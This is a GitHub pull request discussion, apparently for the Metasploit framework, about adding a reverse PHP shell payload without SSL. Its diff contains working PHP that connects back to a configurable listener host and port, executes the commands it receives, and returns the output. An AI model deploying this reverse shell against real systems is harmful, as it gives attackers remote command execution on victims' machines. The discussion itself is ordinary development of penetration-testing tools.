-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add a reverse php shell without ssl #18335
Conversation
I copy-pasted most of the code from the reverse_php_ssl.rb one, do we want to please msftidy, or keep all the reverse shells similar? |
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
Most of the rubocop complaints are about white space; I don't see any issue correcting those. The last line being an implicit return and assignment to an unused variable works in ruby, but it still hurts my soul a little. |
What would be the right™ way to do it, and put balm on your soul? |
As suggested by @timwr
Co-authored-by: adfoster-r7 <[email protected]>
@jvoisin Sorry for the delay on this, we've been pretty swamped on our side! 👍 Generating payload working:
Using the payload gives an error:
I made a small change to remove the newlines/whitespace, and fixed the syntax errors in the php payload, as well as a rubocop linting error: diff --git a/modules/payloads/singles/cmd/unix/reverse_php.rb b/modules/payloads/singles/cmd/unix/reverse_php.rb
index a04c024733..ce1f636a5b 100644
--- a/modules/payloads/singles/cmd/unix/reverse_php.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_php.rb
@@ -48,14 +48,14 @@ module MetasploitModule
# Returns the command string to use for execution
#
def command_string
- cmd = <<~PHP
- while ($s=@fsockopen("#{datastore['LHOST']}:#{datastore['LPORT']}") {
+ cmd = <<~PHP.lines.map(&:strip).join
+ while ($s=@fsockopen("#{datastore['LHOST']}:#{datastore['LPORT']}")) {
while ($l=fgets($s)) {
exec($l, $o);
$o=implode("\n",$o) . "\n";
fputs($s,$o);
}
- }"
+ }
PHP
"#{datastore['PHPPath']} -r '#{cmd}'&"
end
Generating:
handler:
Executing:
Looks like this would be good to go after those tweaks 🤞 |
No description provided.